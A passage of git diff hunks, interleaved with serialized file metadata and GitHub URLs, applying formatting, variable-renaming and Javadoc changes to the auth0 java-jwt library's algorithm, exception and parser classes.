+    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -34,7 +35,8 @@ class ECDSAAlgorithm extends Algorithm {
         this.ecNumberSize = ecNumberSize;
     }
 
-    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         this(new CryptoHelper(), id, algorithm, ecNumberSize, keyProvider);
     }
 
@@ -46,12 +48,14 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
+            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(),
+                    jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException | IllegalArgumentException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalStateException | IllegalArgumentException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -116,25 +120,27 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         offset++;
 
         //Obtain R number length (Includes padding) and skip it
-        int rLength = derSignature[offset++];
-        if (rLength > ecNumberSize + 1) {
+        int rlength = derSignature[offset++];
+        if (rlength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int rPadding = ecNumberSize - rLength;
+        int rpadding = ecNumberSize - rlength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-rPadding, 0), joseSignature, Math.max(rPadding, 0), rLength + Math.min(rPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-rpadding, 0),
+                joseSignature, Math.max(rpadding, 0), rlength + Math.min(rpadding, 0));
 
         //Skip R number and 0x02
-        offset += rLength + 1;
+        offset += rlength + 1;
 
         //Obtain S number length. (Includes padding)
-        int sLength = derSignature[offset++];
-        if (sLength > ecNumberSize + 1) {
+        int slength = derSignature[offset++];
+        if (slength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int sPadding = ecNumberSize - sLength;
+        int spadding = ecNumberSize - slength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-sPadding, 0), joseSignature, ecNumberSize + Math.max(sPadding, 0), sLength + Math.min(sPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-spadding, 0), joseSignature,
+                ecNumberSize + Math.max(spadding, 0), slength + Math.min(spadding, 0));
 
         return joseSignature;
     }
@@ -146,12 +152,12 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
         }
 
         // Retrieve R and S number's length and padding.
-        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
-        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
-        int rLength = ecNumberSize - rPadding;
-        int sLength = ecNumberSize - sPadding;
+        int rpadding = countPadding(joseSignature, 0, ecNumberSize);
+        int spadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rlength = ecNumberSize - rpadding;
+        int slength = ecNumberSize - spadding;
 
-        int length = 2 + rLength + 2 + sLength;
+        int length = 2 + rlength + 2 + slength;
         if (length > 255) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
@@ -174,31 +180,32 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
 
         // Header with "min R" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rLength;
+        derSignature[offset++] = (byte) rlength;
 
         // R number
-        if (rPadding < 0) {
+        if (rpadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, 0, derSignature, offset, ecNumberSize);
             offset += ecNumberSize;
         } else {
-            int copyLength = Math.min(ecNumberSize, rLength);
-            System.arraycopy(joseSignature, rPadding, derSignature, offset, copyLength);
+            int copyLength = Math.min(ecNumberSize, rlength);
+            System.arraycopy(joseSignature, rpadding, derSignature, offset, copyLength);
             offset += copyLength;
         }
 
         // Header with "min S" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) sLength;
+        derSignature[offset++] = (byte) slength;
 
         // S number
-        if (sPadding < 0) {
+        if (spadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset, Math.min(ecNumberSize, sLength));
+            System.arraycopy(joseSignature, ecNumberSize + spadding, derSignature, offset,
+                    Math.min(ecNumberSize, slength));
         }
 
         return derSignature;u}(j  (0306e7c420d2ad375f4e0bcddc32a4997c3d22e7j  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -21,7 +21,8 @@ class HMACAlgorithm extends Algorithm {
     private final byte[] secret;
 
     //Visible for testing
-    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes) throws IllegalArgumentException {
+    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (secretBytes == null) {
             throw new IllegalArgumentException("The Secret cannot be null");
@@ -50,7 +51,8 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
             byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-            boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }u}(j  (5c6c0fc5ef0aa48041ee0d054890b1c0fcda781ej  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -3,7 +3,6 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
-
 import java.util.Base64;
 
 class NoneAlgorithm extends Algorithm {u}(j  (0c7a5b579f09c8ecf734431a0ff01862b5a35f0cj  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  XI  @@ -24,7 +24,8 @@ class RSAAlgorithm extends Algorithm {
     private final CryptoHelper crypto;
 
     //Visible for testing
-    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider) throws IllegalArgumentException {
+    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -45,11 +46,13 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalArgumentException | IllegalStateException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalArgumentException | IllegalStateException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -66,7 +69,7 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
             throw new SignatureGenerationException(this, e);
         }
     }
-    
+
     @Override
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {u}(j  (d6b71205837f2f4ca262448c55d300ea8559d8f3j  Jlib/src/main/java/com/auth0/jwt/exceptions/AlgorithmMismatchException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  XF  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that will be thrown if the exception doesn't match the one mentioned in the JWT Header.
+ */
 public class AlgorithmMismatchException extends JWTVerificationException {
     public AlgorithmMismatchException(String message) {
         super(message);u}(j  (f80fb752045bf22b3e8e639c9713269c52c2e480j  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -1,6 +1,8 @@
 package com.auth0.jwt.exceptions;
 
-
+/**
+ * The exception that will be thrown while verifying Claims of a JWT.
+ */
 public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);u}(j  (c7e162ea9825bec91520505cfbcabc674d26075ej  Dlib/src/main/java/com/auth0/jwt/exceptions/JWTCreationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when a JWT cannot be created.
+ */
 public class JWTCreationException extends RuntimeException {
     public JWTCreationException(String message, Throwable cause) {
         super(message, cause);u}(j  (448714e9b1e92cbb590870c8a45d8e6730164983j  Blib/src/main/java/com/auth0/jwt/exceptions/JWTDecodeException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X6  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when any part of the token contained an invalid JWT or JSON format.
+ */
 public class JWTDecodeException extends JWTVerificationException {
     public JWTDecodeException(String message) {
         this(message, null);u}(j  (dd36dcd331c31c282a00ffd09241f1fcbcb9336ej  Hlib/src/main/java/com/auth0/jwt/exceptions/JWTVerificationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * Parent to all the exception thrown while verifying a JWT.
+ */
 public class JWTVerificationException extends RuntimeException {
     public JWTVerificationException(String message) {
         this(message, null);u}(j  (4b7668a092219d992902413c7ee80d8965088dcaj  Llib/src/main/java/com/auth0/jwt/exceptions/SignatureGenerationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown when signature is not able to be generated.
+ */
 public class SignatureGenerationException extends JWTCreationException {
     public SignatureGenerationException(Algorithm algorithm, Throwable cause) {
         super("The Token's Signature couldn't be generated when signing using the Algorithm: " + algorithm, cause);u}(j  (fa7c3cabfce64230a893194a8465e12e72a800d6j  Nlib/src/main/java/com/auth0/jwt/exceptions/SignatureVerificationException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  XA  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown if the Signature verification fails.
+ */
 public class SignatureVerificationException extends JWTVerificationException {
     public SignatureVerificationException(Algorithm algorithm) {
         this(algorithm, null);u}(j  (66f282859fea4abc435a7db0ccc698d78c312063j  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X
  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown if the token is expired.
+ */
 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;u}(j  (3746dcd2fde65838d355c953218d730350c53c59j  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javaj  modifiedj  K	j  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -24,8 +24,15 @@ class BasicHeader implements Header, Serializable {
     private final String keyId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
-    
-    BasicHeader(String algorithm, String type, String contentType, String keyId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+
+    BasicHeader(
+            String algorithm,
+            String type,
+            String contentType,
+            String keyId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.algorithm = algorithm;
         this.type = type;
         this.contentType = contentType;u}(j  (b1f8e6d3a21f5a0747db6febd374012486b55837j  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -32,12 +32,12 @@ public void serialize(T holder, JsonGenerator gen, SerializerProvider provider)
 
     /**
      * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
-     * to provide use-case specific serialization. Implementors who override this method must write the field name and the
-     * field value.
+     * to provide use-case specific serialization. Implementors who override this method must write
+     * the field name and the field value.
      *
      * @param entry The entry that corresponds to the JSON field to write
      * @param gen The {@code JsonGenerator} to use
-     * @throws IOException
+     * @throws IOException if there is either an underlying I/O problem or encoding issue at format layer
      */
     protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
         gen.writeFieldName(entry.getKey());u}(j  (8a6cbcf89b841652e5677036f7f59a4f6b837655j  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -13,10 +13,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Header parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class HeaderDeserializer extends StdDeserializer<BasicHeader> {
 u}(j  (fe1600bd313d3e84c8aec28926cc790df4fa0ec9j  3lib/src/main/java/com/auth0/jwt/impl/JWTParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -9,9 +9,12 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.SerializationFeature;
 import com.fasterxml.jackson.databind.module.SimpleModule;
-
 import java.io.IOException;
 
+/**
+ * This class helps in decoding the Header and Payload of the JWT using
+ * {@link HeaderSerializer} and {@link PayloadSerializer}.
+ */
 public class JWTParser implements JWTPartsParser {
     private final ObjectReader payloadReader;
     private final ObjectReader headerReader;u}(j  (54a09575c0a931f8120915ba36923f4fb820c4bcj  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj  modifiedj  K
j  K
j  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X	  @@ -74,34 +74,34 @@ public Instant asInstant() {
 
     @Override
     @SuppressWarnings("unchecked")
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         if (!data.isArray()) {
             return null;
         }
 
-        T[] arr = (T[]) Array.newInstance(tClazz, data.size());
+        T[] arr = (T[]) Array.newInstance(clazz, data.size());
         for (int i = 0; i < data.size(); i++) {
             try {
-                arr[i] = objectReader.treeToValue(data.get(i), tClazz);
+                arr[i] = objectReader.treeToValue(data.get(i), clazz);
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return arr;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         if (!data.isArray()) {
             return null;
         }
 
         List<T> list = new ArrayList<>();
         for (int i = 0; i < data.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(data.get(i), tClazz));
+                list.add(objectReader.treeToValue(data.get(i), clazz));
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return list;
@@ -124,11 +124,11 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         try {
-            return objectReader.treeAsTokens(data).readValueAs(tClazz);
+            return objectReader.treeAsTokens(data).readValueAs(clazz);
         } catch (IOException e) {
-            throw new JWTDecodeException("Couldn't map the Claim value to " + tClazz.getSimpleName(), e);
+            throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
         }
     }
 u}(j  (2975b51b9fb875b4db65a512ee1811cca06ae834j  3lib/src/main/java/com/auth0/jwt/impl/NullClaim.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaim.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -53,12 +53,12 @@ public Instant asInstant() {
     }
 
     @Override
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 
@@ -68,7 +68,7 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         return null;
     }
 u}(j  (09009267b7bfa876ce97011093b534ecff946b2aj  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -16,10 +16,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Payload parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class PayloadDeserializer extends StdDeserializer<Payload> {
 
@@ -80,7 +80,8 @@ Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
             return null;
         }
         if (!node.canConvertToLong()) {
-            throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
+            throw new JWTDecodeException(
